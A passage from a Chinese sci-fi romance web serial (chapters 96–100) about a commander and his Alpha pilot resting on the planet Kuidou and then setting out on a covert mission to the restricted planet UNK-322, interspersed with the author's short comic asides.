闻铮看着自己在沉默过后，还是沙哑着声音给出了命令。 “通知防御线上包括悬空号在内的31艘第三军团战舰，瞄准所有德瓦前行舰……” “……保卫西翼战场最后防御线，实行对敌统一歼灭。” 太空中炸开了绚烂无比的火花，而主屏幕上那些艾尼默人的图像一个接一个地黑屏消失。 29岁的闻舰长，注视着屏幕上那些懵懂绝望又惊惧的眼神，知道有一部分的自己，也跟着这些无辜的生命一起，永远地死去了。 …… “——闻哥？闻哥？你怎么了闻哥？” “——闻铮！！” 闻铮猛地睁开了双眼，一时之间不知身在何处，他的眼前似乎还飘荡着战火纷飞的场景，耳边也朦朦胧胧地听不真切。 等了好一会儿，他才从温热的触感中回到现实，眼前裴简珩那张脸方才慢慢清晰。 看到他这样，裴简珩心如刀绞，他强行让自己冷静下来，一手捧着闻铮的脸，另一只手安抚着他的脊背，擦去他身上的冷汗，低声劝慰：“闻哥，深呼吸……不要屏气，你没在呼吸，放松……” 闻铮听到熟悉的声音，这才慢慢缓过来，才重新开始放松和呼吸。 他一边剧烈地喘息，贪婪地摄取氧气，一边不自觉地抓紧了裴简珩的手臂：“我……” “嘘……”裴简珩把他抱进怀里，低低地哄他，“没事的，闻哥，没事的。” 闻铮没有再发出什么声音，裴简珩还以为他又睡着了，低头看去的时候才发现，他就睁着那双漆黑的眼睛，直直地看着虚空，而泪水就这么从那双眼睛里沉默地流下来。 他的脸色苍白如纸，瘦削到两颊都有些凹陷，只剩那一双墨黑的眼睛大得出奇，眼底的幽幽火焰将熄未熄，让他此刻看起来宛如鬼魅般凌厉骇人。 而无论他看上去再怎么骇人，裴简珩都不会害怕，他只是心疼地无以复加。他不知道闻铮梦到了什么，也不知道他为什么会这么折磨自己，但和闻铮一样，只要他不想说，自己也不会逼他。 他就这么一言不发地抱着闻铮，伸手安抚过他的每一节脊背，直到闻铮在他怀里沉沉睡去。 在这个晚上，他和闻铮都向对方袒露了自己最脆弱的一面。怀揣着对彼此最深刻的爱怜，银发Alpha和黑发Omega四|肢|交|缠，互相依偎着沉沉睡去，好像在经历了半生的颠簸后，终于找到了最终的港湾。 …… 第二天醒来的时候，闻铮奇异地发现自己睡得很好，好到出奇。 他睁开眼睛，完全没有自己睡觉后醒来的那种疲惫和头晕，这几年来，他唯一几次睡得好，竟然都和裴简珩有关。 是因为Omega的本能吗？因为自己的Alpha在这里，哪怕没有最终标记，身体也会感到安全和放松？ 还是说，超越了本能之外，只是因为这个人？ “早啊，闻哥。” 裴简珩的声音传来，他眼睛都没睁开，先摸索着在闻铮额际落下一个吻。 闻铮笑了一下，颊边的梨涡若隐若现：“早上好。” 他犹豫了一下，他睡得迷迷糊糊，一时之间也分不清到底是梦还是现实：“我……好像依稀记得昨晚做了噩梦惊醒，但我也不确定是梦中梦还是现实。” “您确实做了噩梦，也确实醒了，”裴简珩睁开眼睛，温柔地帮闻铮顺了顺头发，“但很快又睡着了。” 闻铮哑然，过了一会儿又问：“我说了什么吗？” 裴简珩顿了一下，摇头：“什么也没说。” 闻铮嗯了一声，他依稀记得，昨晚半梦半醒的时候，好像有人叫了他的全名，一个已经三年多没再听过的名字。 难道是他的幻觉？ 裴简珩不着痕迹地岔开了话题：“我叫酒店送点早餐上来好吗？您想吃点什么？” 闻铮随口道：“不吃了，我不饿。” 裴简珩伸手掐了一下他的后腰，他知道闻哥那里很敏感，果不其然，闻铮抖了一下，睨他：“你干什么？” “您都瘦成这样了，还不吃饭。”裴简珩皱眉，“赫尔说了，您的身体已经很差了，需要好好吃饭好好休息。” “我没——” 闻铮反驳的话还没说出口，就看到裴简珩耷拉着眼睛看他，这种大狗一样的眼神一出来，闻铮就心软地投降了：“行吧，那去餐厅吃好了，也出去走一走。” 从昨天傍晚开始就没出过房间，甚至床也没下过，实在是有点过于放纵了。 裴简珩欣然应允：“吃完饭再出去走走吧？DEHWA-2075为了能搭载生物智能融合体，需要的能耗很高，之前和魁斗星盗的打斗也导致了护盾的损伤，需要修整至少两天。在此之前我们也没有别的事情要做，我知道魁斗星有个地方很美，我们去散散心？” 闻铮犹豫了一下，也同意了。 这段时间，凯利斯他们跟着自己冲锋陷阵，也确实是辛苦了，不如正好一起放个假。毕竟接下来要面对的事情充满了危险和不确定，休整一下状态会好很多。 两个人简单收拾了一下，冲了个澡，险些又再次擦枪走火地搞起来，最后还是卡着酒店的早餐供应时间踏进了餐厅。 他们刚选定了窗边的一个位置，就听见一个惊讶的声音从身后响起：“闻哥？裴简珩？你们怎么一起来吃饭了？” 两位地下情人身形一僵。 闻铮转身，若无其事地对黎晓打了个招呼：“早，我们在电梯间碰到了。” “哦哦，”黎晓也没当回事，兴致勃勃地邀请他们拼桌，“一起吃早饭？” 他那张桌子上不止他一个人，还有正在打哈欠的凯利斯，看到闻铮和裴简珩的目光移向他，他也随手打了个招呼。 闻铮倒也欣然接受，他和裴简珩先去拿点餐食就过来。 黎晓一边咬断一根薯条，一边用胳膊肘捅了捅凯利斯：“你有没有感觉哪里不对劲啊？” 凯利斯被他冷不丁的一肘子怼的差点咖啡倒身上，无语：“没有啊，哪里不对劲？” 黎晓指着正肩并肩拿餐食，还时不时讨论一下菜式的指挥官和舵手：“真的是在电梯口碰见才一起来的吗？我总觉得不会这么巧。” 凯利斯转脸看向他，似笑非笑地指了指他，又指了指自己：“巧吗？那我们刚刚是在哪里碰见的？” 黎晓：“……” 黎晓目移：“……当我没说，吃你的菲利斯土豆吧。” 凯利斯把叉子上那块五边形的菲利斯土豆塞进嘴里，饶有兴趣地看着黎晓轻微泛红的耳垂，嚼—— 作者有话说：小剧场： 黎晓：你们不对劲 闻哥：你们也不对劲 小裴：哪里不对劲？ 凯利斯：到底谁不对劲？ ———————— 浅谈几章恋爱吧=w= 第97章 跌入一吻 话虽如此, 凯利斯还是也把目光转向了正在背对他们拿餐食的闻铮和裴简珩。 他的视力很好，能看到他们两个肩膀之间的距离贴得很近，超过了正常社交距离的那种近。 闻铮的餐盘东西少得出奇, 就几棵菜叶子和一点水果, 小猫都比他吃得多。 裴简珩皱了皱眉，强行给他夹了一些清淡的蛋白质, 闻铮虽然下意识地往回撤了撤餐盘，但也没说什么, 还是允许他把那些蒸肉放在了自己的盘子里。 凯利斯：“……” 他开始认同起黎晓的观点了，这俩人好像确实是有点不对劲。 这还是他们宛如斯洛克犟驴化身的闻哥么？！ 直到闻铮和裴简珩转身朝他们这桌走来, 凯利斯才收回目光，装作无事发生。 裴简珩把餐盘放下, 对他们笑笑：“休息的还好吗？” 凯利斯很给面子：“你这个私人太空港真的太全面了, 从港口到酒店, 我刚才好像还看到了一个温泉馆的标志。” 裴简珩顿了一下：“是吗, 我都不知道这里什么时候还建了温泉馆, 我很久没有管过这里的运营了。” 黎晓叉起了盘子里的培根：“就是培根有点不好吃。” 裴简珩失笑，闻铮立刻把自己盘子里那块蒸肉夹给了黎晓：“那你尝尝这个, 应该好吃的。” 裴简珩：“……” 他幽怨地看了一眼闻铮，闻铮假装没看到, 对黎晓弯起双眼：“别把我们轮机长累着。” 大早上吃什么蛋白质，真的吃不下啊…… 黎晓倒是受宠若惊：“谢谢闻哥。” 他咬了一口，举起大拇指：“比培根好吃多了！” 开玩笑，这可是领导给夹的菜，别说真挺好吃，就算不好吃，谁敢说, 他可不敢。 裴简珩：“……” 所向披靡的基因战士头痛，闻哥这个样子，到底要怎么才能把他的身体养好一点啊。 凯利斯吃得差不多了，擦了擦嘴：“闻哥，我们接下来怎么做？” 闻铮慢条斯理地咬着菜叶子：“裴简珩说，DEHWA-2075至少需要护理两天，你们就先放假修整一下。” 他似乎想到了什么，转过脸问裴简珩：“能把破晓号的动力舱更换一下吗？” 不然他们怎么也不能开着这艘德瓦战舰直接飞回联邦吧？ 裴简珩把咖啡推给他：“已经让他们在弄了，这个比维修DEHWA-2075更困难，他们需要的时间要再长一点。” 闻铮满意地颔首，追问：“长一点是要多久？” “负责人和我说，如果我们要求不高，空间迁跃二级的动力舱就可以的话，那三天就行。如果要三级往上，那就要等至少五天了。” 闻铮在心里盘算了一下：“先按照三天来，方便同步准备空间迁跃三级的动力舱吗？我打算等一下江悦那边针对7号星恐袭的后续信息再做下一步决断。” 裴简珩对他眨了眨左眼：“放心，我昨天晚上已经在让他们调配了。” 闻铮：“……” 他一方面对裴简珩的统筹能力很是满意，另一方面，如果不是当着凯利斯和黎晓的面，他又真的很想问——昨天晚上不是一直在做吗，你到底是什么时候安排的这些事。 凯利斯在他们对面，啧啧摇头：“你小子，再这么下去，大副这个位置要给你坐咯。” 闻铮拿餐巾纸丢他：“少给我贫嘴。” 空调的新风正好吹过来，把那团原本对准了凯利斯的纸团吹向了黎晓，凯利斯伸手，在纸团砸到黎晓脸上之前轻松地握在了手里，丢到一旁。 黎晓一怔，随即低头沉默地吃蒸肉。 裴简珩坐在对面，视线在凯利斯和黎晓之间绕来绕去。 这什么氛围，不对劲啊。 这时，一个穿着全套黑色西装的人类Beta在他们这一桌旁边停了下来，微微鞠躬：“各位用餐还愉快吗？” 问的是各位，视线落在的却是裴简珩身上。 毕竟大老板突然莅临，后厨都快把传家技术掏出来了。 闻铮道：“挺好的，多谢。” 凯利斯和黎晓也都点头。 裴简珩优雅地用纸巾擦了擦嘴：“培根很难吃，请厨师长务必精进技术。” 负责人表情一僵。 闻铮差点笑出声，把手挡在脸前都没挡住那汪小梨涡。 …… 吃过早饭—其实也是早午饭了—裴简珩拉着闻铮出了酒店。 悬浮车在开出私人太空港的范围后，又开了一个多小时。等车门再次打开的时候，闻铮眼前倏地出现了一片宽广的海域，海水无比湛蓝澄澈，和裴简珩的眼睛如出一辙。 悬浮车停在了沙滩外围，纯白色的沙滩纤尘不染，一眼望去竟然让人不忍心踏足。 “这里的沙滩其实是某种无害的生物，”裴简珩看出来了闻铮一瞬间的犹豫，先一步下了车，“自动恢复力极强。” 闻铮看他向自己走过来，原本踩出痕迹的地方在几秒后又恢复如初，这才放心地下了车。 裴简珩伸出手，轻轻地拉住了他的，又把自己的五指嵌进了他的指缝之中，和他十指紧扣。 闻铮没有拒绝，在愣了一秒后，主动地回握了回去。 他们就这么牵着手，慢慢地走到了海边。 浪潮的声音温顺好听，这种白噪音和海景会让人下意识地放松下来，闻铮也是一样。 他和裴简珩在海边的一块礁石上坐下，静静地看着海平面发呆。 在这瞬间，闻铮找到了十几年来，第一次的宁静。 “魁斗星和我想象中的不太一样。”闻铮轻声道：“我原以为，作为中立区，这里必定会鱼龙混杂，却没想到会这么的平和安宁。” “也只有这里是这样。”裴简珩给他解释，“魁斗星75%的地方都和您说的一样鱼龙混杂，20%是山地和海洋，5%是未开发的土地，我们现在就在这5%的地方。” 闻铮轻轻叹了口气。 也许只有还尚未被开发的地方，才会有这种和平与宁静吧。 “不过你好像对这里很熟悉，”闻铮侧脸看他，“魁斗星好像没有发生过大型战役，你在这里待过很久吗？” 裴简珩答：“还记得我说我曾经把德瓦战舰开进海里坠毁了吗？” 闻铮点头，有点不明白他突然说起这个干什么。 他年轻的情人狡黠一笑：“就是这片海。” 闻铮：“……” 裴简珩从闻铮的眼底看到了无语，他也不想展开说那一次坠毁的细节，否则很多事情又要绕回那件事，所以岔开了话题：“坠毁之后我受伤了，在这里养了一阵子，所以会稍微了解一点。” 闻铮把膝盖支起来，把下颌垫在了膝盖上：“我没来过魁斗星，那你给我讲讲吧。” 裴简珩伸手把玩着闻铮的发尾，轻声道：“魁斗人多数从事星盗活动，是因为魁斗星本身的资源相对匮乏。他们从德瓦帝国独立出来，自然不想再回去，同样也不想归入联邦，所以就只能在自给自足的基础上，偶尔出去打劫，联邦抢八次，德瓦帝国抢十次，只要不是大规模的伤亡，所有人也都睁只眼闭只眼了。” 闻铮想到了那个魁斗星盗的女首领，摇摇头：“我看他们击落那艘商业舰的时候可不像避免大规模伤亡的样子。” “不知道，”裴简珩耸了耸肩，“可能被惹怒了吧。” 闻铮也没说话，海面上吹来了温和的海风，很舒服。 裴简珩伸手把他揽进怀里，看闻哥在他臂膀里眯起眼睛，像一只卸下了防备和尖刺的小猫，忍不住轻轻亲了亲他的脸。 闻铮下意识地推了他一下，也没使劲，没推开也懒得再抗拒了，任他时不时地就偷袭啄吻一下。 他看向一望无际的海洋，轻声问：“你小时候的梦想是什么？” 裴简珩回忆了一会儿：“不记得了，可能是老生常谈的宇宙大和平吧。” 闻铮笑了一下，喃喃道：“我小时候的梦想，是可以当一艘科考星舰的舰长。” 裴简珩一怔。 闻铮看着远方的海平面，想起了在一切发生之前，自己曾经的小小梦想：“没有战争，也没有伤亡，只有对未来和未知宇宙的憧憬和向往。我能有一艘科考舰，和一队像家人一样的船员，一起去探索无边的宇宙。” 他的声音越说越小，尾音很快就消散在了风里。 可惜，事与愿违。 就在他们说话的时候，魁斗星进入了日落时分。 魁斗星的日落要早一些，落得也很快，不知不觉间，海边的天空已经被橙红色的晚霞铺满了。 裴简珩把闻铮的脸从膝盖间轻轻地挖出来，凝视着那张刻进自己骨血里的脸，和那双给了他信念锚点的眼睛，俯身凑了过去。 闻铮闭上眼睛，双臂环上了他的脖颈。 夕阳之下，海面之上，他们跌入了一个深深的吻。 一吻间歇，闻铮睁开眼睛，从这个角度看过去，他突然觉得这片海域、这片沙滩和这个残阳的景象……好像似曾相识。 但闻铮无比确信，他的记忆中，自己从来没有来过魁斗星。 同样的，他也不觉得这是自己的错觉。 有一些东西似乎正想喷涌而出，闻铮不知道那是什么，但他能感觉到，似乎是时候找回一些什么了—— 作者有话说：小剧场： 小裴：区区德瓦战舰……（扑通） 第98章 简、珩？ 他们回到酒店以后, 天已经彻底地黑了下来。 裴简珩把闻铮送回了套房，自己握着门把手，把房门在身后关上, 也丝毫没有要回到自己房间的意思。 闻指挥官也没说赶他走。 虽然闻铮还是说不饿, 但裴简珩还是让酒店送了一些水果和餐食过来。要是让赫尔知道，这位老妈子一样的医疗官估计欣慰得要命, 终于有人能管一管这位斯洛克犟驴了。 十五分钟后，房门被礼貌地敲响了。 闻铮先去洗澡了, 裴简珩惦记着给闻铮要的特产刺月梨和魁星瓜，也没多想就打开了房门。 ——只是房门外站着的并不是酒店负责人, 而是黎晓。 他手里拿着的是悬浮屏，而刺月梨和魁星瓜更是不见踪影。 黎晓：“……” 裴简珩：“……” 黎晓：“……哈？” 裴简珩：“……呃。” 轮机长退后两步, 再次检查了一下房间号, 迷茫地扣出一个问号：“你为什么在这儿……？” 裴简珩张了张嘴, 又合上了, 又张开, 又合上，重复三次, 才艰难道：“我来，和闻哥, 研究一下……动力舱。” 黎晓眯起眼睛：“你又不懂量子力学。” 裴简珩：“……但我知道动力舱的到货时间。” 谎话倒是越编越顺溜了。 “……行吧。” 这个理由倒是也无懈可击，黎晓也说不出什么来。 这时候裴简珩又先发制人：“那你又来干什么？” “哦哦，”黎晓这才想起来自己来的目的，把悬浮屏划拉到手边，“我查到了那——” “——简珩，是水果到了吗？” 沙哑的嗓音传来，让黎晓没说完的话都卡在了喉咙口, 他看向裴简珩身后的表情好像看到了世界末日。 裴简珩心里“咯噔”了一下，缓缓地、绝望地闭上了眼睛。 因为裴简珩的身影过于高大，导致一开始没有看见黎晓的闻铮，走近了几步后，也就此陷入了沉默。 黎晓看着明显刚洗完澡、还穿着浴袍的上司，眼前一黑，讷讷地重复了一遍：“简、珩？” 闻铮喉头滚动了一下，状若无事：“怎么了？我不也叫你黎晓吗？” 黎晓怒：“那是因为我的名字就只有两个字啊！！” 你到底在说什么有没有天理了啊—— 我的八卦搭子凯利斯你怎么不在啊—— 裴简珩立刻把话题转开：“闻哥，黎晓说他发现了一些事情。” 闻铮挑眉：“发现什么了？” 黎晓虽然八卦之心还没有平息，但被问到工作了也只能老老实实回答：“我找到裴简珩那20万现金的坐标了。” 闻铮和裴简珩都是一怔。 这时，走廊尽头的电梯打开，黑色西装的负责人端着餐盘就来了，闻铮伸手把餐盘先一步拿过来，很怕这位负责人再说出什么意料之外的惊人发言，指了指房间内：“进来说。” 想八卦但没胆子问的黎晓窝窝囊囊地踏进了套房里，闻铮和裴简珩对视了一眼，双方都在心里庆幸出门之后挂上了需要打扫的牌子。 不然就昨天晚上房间里面那个战况，死都瞒不住了。 …… “我记得你上次说，20万现金的坐标已经追踪不到了，现在又出现了？” 闻铮把切成花的果盘推到黎晓面前，希望用水果堵住他八卦的嘴，只用来谈工作。 黎晓叉起一块刺月梨：“是的，自从魁斗星盗逃离之后，那20万现金的定位就消失了，应该是超过了可感知和可追踪的距离范围。但刚刚我打开控制面板的时候，却发现这个坐标又出现了！” 闻铮若有所思：“也合理，他们很有可能是逃回了魁斗星，当我们也来到这里的时候，就进入了追踪器可感知的范围内。” “呃，”黎晓挠了挠脸，把悬浮屏拉过来，“但从坐标来看，这笔现金不在魁斗星。” 这是闻铮没想到的，他眉心微皱：“那在哪里？” 黎晓放大了那个坐标：“在魁斗星外围的一颗荒星上，UNK-322星。” “UNK-322星……”闻铮摇头，“我没有听说过这颗星球。” 清脆的声音传来，闻铮和黎晓同时看去，是裴简珩垂着眼，默不作声地单手掰断了水果叉子，金属的。 黎晓咽了一口唾沫，暗自下定决心，绝对不当面八卦了……这人的战斗力太吓人了，还是小命重要…… 闻铮看了他一会儿，目光幽深，但什么都没说，又转过去问黎晓：“我们如果过去，需要多久？” 黎晓在悬浮屏上计算了一下：“很近，一小时。呃，但是我不太建议过去。” 见闻铮对他挑了挑眉，黎晓硬着头皮说：“说是魁斗星的外围，但其实已经快到德瓦帝国的辖区了，这颗星球南半边隶属魁斗星，北半边隶属德瓦帝国。只是因为太过落后和荒芜，所以德瓦帝国都快撤走驻军了。” “并且……”黎晓小声道，“UNK-322，在联邦禁区的名单上。” “什么？” 闻铮神色冷了下来：“什么时候被列为了联邦禁区？我怎么不知道？” 他曾经是第三军团的上将！ 所有联邦军部的禁区他都一清二楚，怎么可能从来没听过这个所谓的UNK-322星？ 黎晓也有些迷茫：“不知道啊，我也是刚刚搜索的时候才发现的。” 闻铮看向了裴简珩：“你知道吗？” 裴简珩把低垂的目光抬了起来，迎着闻铮的眼神，轻轻点头：“三年前，联邦军部将UNK-322增加进了敏|感禁区名单。” 三年前……那应该是在闻铮退役之后，他没有再像在役一样关心这些军部相关的信息了。 闻铮问：“以什么原因？” 裴简珩摇头：“军部没有对外披露。” 军部没有对外披露……但闻铮有一种感觉，裴简珩知道这其中的原因，只是他不肯说，或者，他不能说。？ 闻铮只是看着他，没有再说话，也没有再逼他。 黎晓呃了一声：“那我们还要去吗？感觉为了20万冒这么大风险好像不是很划算的样子……联邦星舰出现在那边算怎么回事呢……” “不只是为了20万，”闻铮道，“上次那个魁斗星盗女首领说过一句话，我非常在意。” 这次换裴简珩和黎晓一愣。 “她管那几个通过基因改造而伪装成艾尼默人和人类的德瓦人叫做，’不知道是什么东西的杂种’。” 闻铮的睡眠确实有问题，但他睡不着觉的时候也不会白白地浪费时间，他会把所有发生过的事情在脑子里过上几轮，有问题的地方反复咀嚼。 那个星盗女首领的这句话，当时局势危急，他没有时间细想。而之后他反复思量，星盗女首领的话不是空穴来风，她一定知道些什么。 “至于星舰……” 闻铮翘起唇角，他的眼底狡黠一闪而过：“谁说我们是联邦星舰了？” …… “你再说一遍要去哪里？！” 赫尔在早餐包厢里听到闻铮的话，差点心脏病发厥过去，完全忽略从生物机能的角度，艾尔文人并不会得心血管类疾病的事实。 他就知道闻一大早上召集所有人一起吃早饭没什么好事！ 艾尔文医疗官又开始揉自己隐隐发痛的下颌角：“那可是德瓦帝国的辖地，一个不小心，挑起第三次星际战争的可就是我们了！” “怎么会呢，”闻指挥官微笑，“我们开的可是德瓦战舰。” 赫尔：“……” “并且从坐标来看，魁斗星盗们是在南半边，那里还是中立区，严格来说，我们并没有越过德瓦帝国的边境。” “不过确实有一个问题需要商议，”所有风险点闻铮都已经想过一遍了，“我们虽然有德瓦战舰，但一旦下了战舰，我们的目标就非常明显，所以我们不能踏入北半边，尤其是以个人为单位。” “没关系的。” 一个平静的声音响起，是程迹、不，是变化成茱莉的程迹。 科学家按着自己的额角变回了克米恩人的样子：“我们可以伪装成德瓦人。” 闻铮挑眉：“什么意思？” “克米恩人可以短暂变化外貌和基因，”程迹道，“克米恩人的血清也可以使其他部分物种变化外貌和基因，人类和艾尔文人都在这部分物种之内——” 首席医疗官立刻反驳：“这不可能，排异反应会要了其他物种的命——” “除非，”程迹对艾尔文人微笑，“有艾尔文人的血做融合。” 赫尔：“……” 所有人：“……” “当然，我只是一个提议。”程迹道，“决策权在你，闻指挥官。” “……这件事再议。”闻铮淡淡道，“如非必要，我们还是不要踏上德瓦帝国的辖区。在南区，如果真要离舰，把自己捂得严实一些。” 血清和基因融合不是小事，闻铮不想冒这个险，也不想让赫尔提供自己的血，更因为，他还没有那么相信程迹。 这位顶尖科学家太聪明，以至于多智近妖，再加上他身上的灭族之恨，闻铮对他总是有着几分防备。 他们当然可以互相利用，闻铮也不介意他利用自己，但如果这种利用的目的会危害到联邦，那就绝对不行。 程迹也没有再提议，耸耸肩没再说话。 “DEHWA-2075明天就可以正式使用，”闻铮对他们点头示意，“我们明天在星舰上集合，解散。”—— 作者有话说：小剧场： 黎晓（瞳孔地震） 小裴（绞尽脑汁） 闻哥（倒打一耙） 第99章 一句话就哄好了 “江悦, ”林瑜淞敲响了她办公室的门，“我有个新的发现——你怎么了？” 江代理指挥官正看着悬浮屏，死死皱着眉头, 显然有什么事情让她困惑。 “瑜淞哥, ”江悦看向他，疲惫地捏了捏鼻梁, “刚才何首席和我说，临时存放遗体的冷冻区因为电力短路爆炸了, 除了已经被领走的遗体之外，还有三具遗体……尸骨无存。” 林瑜淞眼睛微眯：“真的是电力短路吗？” 江悦道：“我也不信, 何首席还在带人排查现场，具体的情况后续会再和我进行同步。” 说罢, 她轻轻叹了口气：“利切尔局长的遗体……也在其中。” 他已经没有亲人在世了, 自然也没有家属能把他的遗体取回, 只能留在军部和警部的烈士区, 却没想到还没等转移过去, 冷冻区就发生了爆炸。 她抹了一把脸：“我要怎么告诉闻哥……” 林瑜淞的神色却晦暗难明，他没有接话, 而是打开了自己的通讯终端，拎出了一块悬浮屏推给江悦：“上次查到的那个很有嫌疑的中校, 他的账户确实被转入了很大一笔钱。但我联系了银行那边，银行的工作人员却说，这位中校对这笔资金也很疑惑，去了银行柜台申请了不明资产冻结。” 江悦一愣：“什么？他自己申请的？” 林瑜淞颔首。 是很奇怪，如果真的是他被德瓦势力收买而造成了这场袭击，为什么反而要去申请不明资产冻结？ 那如果不是他，又会是谁？ 在场的其他警官和军官都没有任何异常信息, 到底是谁才是这场袭击的内鬼？ “滴滴——” 通讯的声音响起，江悦看了一眼自己的手腕，脸色不太好看。 林瑜淞看她的表情就知道是谁：“又是段上将？” 江悦默认。 林瑜淞轻轻叹了口气：“段上将心机深沉，和他做交易无异于与虎谋皮，其实我并不建议。” “我也没有别的办法了，瑜淞哥。”江悦轻轻叹了口气，“闻哥让我们务必调查清楚，如果我不抢占先机和他达成交易，等洛河星系的调查组下来，我们就没有机会了。” “麻烦你和戴维尔继续跟进一下这条线索，”她站起身，把两颊的碎发掖到耳后，神情坚毅冷然，“我要去找段洄报告目前的进展了。” 林瑜淞看着她不知不觉已经褪去了有些稚嫩的神色和两颊的小小婴儿肥，心里也轻轻地叹了口气。 “哦对了，”江悦想到了什么，“你可以再帮忙尝试联系一下闻哥他们吗？我一直联系不上，说是通讯信号受阻。” 林瑜淞一怔：“通讯信号受阻？他们现在在哪里？” 江悦摇头：“我也不知道，闻哥没有告诉我。” 林瑜淞点头应下，神情若有所思。 …… 另一边，DEHWA-2075已经从魁斗星的私人太空港起飞，前往UNK-322星。 闻铮坐在舰长椅，请谢运霖调出了这颗荒星的地形图，沉吟。 凯利斯也看到了主屏幕上的地图，似乎想说什么，又咽了回去。 闻铮注意到了他的第一大副的神情，开口道：“凯利斯，你想说什么？” 凯利斯把转椅转过来，指了指地形图：“这20万现金的坐标很敏感，介于魁斗星和德瓦帝国边境边缘，风险会有点大。” 闻铮颔首，他放大了地形图：“这个星球地表基本都被沙漠覆盖，地形崎岖。坐标点此刻在一处山峡里，从地形数据来看，这艘星舰太大，无法在那里着陆。” 凯利斯摇摇头，他站到了闻铮旁边，看似在和他讨论战术，实则声音压得很低：“闻哥，保不齐，还真的需要考虑程迹的那个提议。” 星舰太大，目标也太大，肯定要组成外勤登陆小队才能进一步追查的。 闻铮不动声色地瞥了一眼程迹，茱莉现在正在首席科学家的工位上认真干活，看起来完全没听到他们在讨论什么。 德瓦帝国，德瓦边境，德瓦哨兵，德瓦战舰…… 这些信息在闻铮脑海里快速地闪回以及排列组合，让他有了一个很大胆的想法。 “运霖，”闻指挥官出声道，“你是否还留存这艘星舰作为德瓦战舰时的信息？包括战舰信息、舰员信息等任何数据。” 舰桥所有人都愣住，包括程迹。 谢运霖的声音响起：“是的，闻指挥官，悉数留存。” “请整合梳理出来给我，”闻铮站起来，“我去趟医疗舱，凯利斯，你来负责舰桥。” 程迹看着闻铮的声音消失在舰桥门外，勾了勾唇角。 …… “你相信他？” 赫尔往后靠在医疗舱的操作台上，对着闻铮挑了挑眉。 “不，”闻铮简短道，“但我必须要做好第二手准备。” 艾尔文医疗官笑了一下，伸手拉开操作台的顶层柜门，拿出了一管银色的血，旁边还有一管琥珀色液体，看上去是血清。 闻铮一怔：“你……” “我对克米恩人总有一种复杂的情感，”赫尔轻声说，“也许程迹有自己的考量，但他不会站在德瓦帝国那边，或者说，是我不相信他会站在德瓦帝国那边。” “反正只是一管血，”赫尔耸肩，“就当我今年也义务献血了。” 闻铮拍了拍他的肩膀，半晌才说：“……我会给你加钱的，虽然我知道你根本不是为了钱。” “不要给我上道德价值，”赫尔立刻说，“我就是为了钱！提醒你一下，综合了这几次你给我画的饼，我现在的月薪已经快要15万了。” 闻铮沉默了一下：“有这么多吗？” 赫尔：“当然，你要是预算不够，可以把裴简珩的工资分给我。他自己说的，如果我缺钱就把他的那份拿走，反正你也很清楚他不是为了钱来的。” 闻铮失笑，半晌才道：“谢谢你。” 赫尔别开眼，思忖了一会儿：“这个调配需要有人先进行实验，谁来？” 闻铮道：“我。” …… 三十分钟后，闻铮回到了舰桥指挥室。 裴简珩注意到他的脸色有些苍白，额际还有星星点点的冷汗，赫尔是陪他一起回来的，手里还拿着口服营养补充液。 他眉头紧皱，刚要开口，却看见闻铮对他轻轻摇了摇头。 他只能把话又咽了回去，有些恹恹不乐地转了回去对着仪表盘生气。 “运——”闻铮一张嘴，声音比平时还要沙哑，他清了清嗓子，才继续道，“运霖，请把这艘德瓦战舰的具体情况和人员数据展示出来。裴简珩，赫尔，你们和我组成外勤侦察队，从这艘战舰曾经的舰组人员中选择合适的目标，如有意外，我们启动第二计划。” “凯利斯，”闻铮转向自己的大副，“在外勤侦察期间，你拥有这艘星舰的指挥权，突破大气层后就进入隐身状态，不要踏出星舰，保护好茱莉和黎晓。” “舰桥呼叫轮机室，黎晓，我需要你在相位穿梭台时刻就位，在听到穿梭需求时手动操作。” “如果没有异议——” “闻指挥官。” 程迹轻声打断了他的话：“我申请加入外勤侦察队。” 闻铮把转椅转过去，看向克米恩人，淡淡道：“申请驳回，你是科学家，不是战士，我不能拿你的生命冒险。” 程迹反驳：“如果我没记错，是我在那帮魁斗星盗的手里救了你们，闻指挥官。” 闻铮应答如流：“开着战舰救的，不是赤手空拳救的。” 程迹：“……” 闻指挥官反手指了指舵手：“你和裴简珩去运动舱打一架，赢了我就同意你加入外遣侦察队。” 程迹：“……” 所有人：“……” 裴简珩微笑：“程院士、不，茱莉，走吗？” 赫尔在一边望天。 还打赢裴简珩……别说这么个瘦高竹竿的科学家了，换S级Alpha来都打不过，你不想让程迹加入就直说，搞这些。 ……不对，刚刚好像确实也是直说了。 程迹脸色微沉，但倒是也没有再多纠缠。 闻铮转回主屏幕：“预计多久抵达地表坐标？” 裴简珩收起微笑，点了几下仪表盘：“12分钟32秒。” 闻铮道：“准备着陆。” 顿了一下，他又说：“别把我们开进海里，裴简珩。” 银发Alpha笑，声音轻快起来：“不会的，闻哥，这里没有海。” 闻铮看着他的背影，心里有点好笑地摇摇头。 还是年轻啊，气性来得快去得也快，一句话就哄好了。 DEHWA-2075正在穿过UNK-322星的大气层，裴简珩把这艘德瓦战舰开得很稳，一点颠簸都没有感受到。 凯利斯却在一旁皱起眉：“……闻哥。” 闻铮看向他：“怎么了？” “我们进入UNK-322星球的大气层后，通讯频道和信号就受到了阻碍。”凯利斯现在不只是战术官，通讯也归他管，“没有办法接受到UNK-322星球之外的消息，我们也发不出去。” 闻铮右手手指轻轻敲着大腿外侧：“茱莉，能找到问题来源吗？是磁场问题吗？” 程迹顶着大波浪卷发在操作屏上拉出了对这颗星球扫描的多维数据表，一目十行地看完再在脑子里计算：“……我不能确定，但看上去是地表有什么东西阻碍了外界通讯。” 已经到了这步，也不可能因为通讯受阻就掉头，所幸会联系他们的也就只有7号星暗影组的成员，闻铮预估这次行动会在30个小时内结束，哪怕30个小时断联应该也不会有太大的问题。 “知道了，谢谢。”闻铮做出了决断，抬眼看向前方越来越清晰的沙漠景象，“全舰做好准备，一分钟后降落。”—— 作者有话说：小剧场： 医疗官（伸手）：我钱呢 第100章 你敢吗？ 覆盖了地表70%的沙漠一望无际, 在南区与北区交界的地方，地面的沙粒突然开始震动，被吹起, 又落下, 悄无声息。 地面仿佛突然承重了什么东西，在一息动荡之后又归于平静, 只是再次落下来的沙粒却奇异地绕开了什么东西，落在了旁边。 而接下来, 有三个裹得严严实实的人影，凭空出现在了沙漠中。 地表风沙强烈, 这三个高挑的人影也用棕色的布料把自己浑身上下挡得严严实实，只余一双眼睛警惕地打量四周。 紫色眼睛的人把自己漏出来的白色发丝在兜帽里藏藏好, 低头看了看导航仪：“这落地的方位到底准不准, 怎么感觉还有一段距离？” 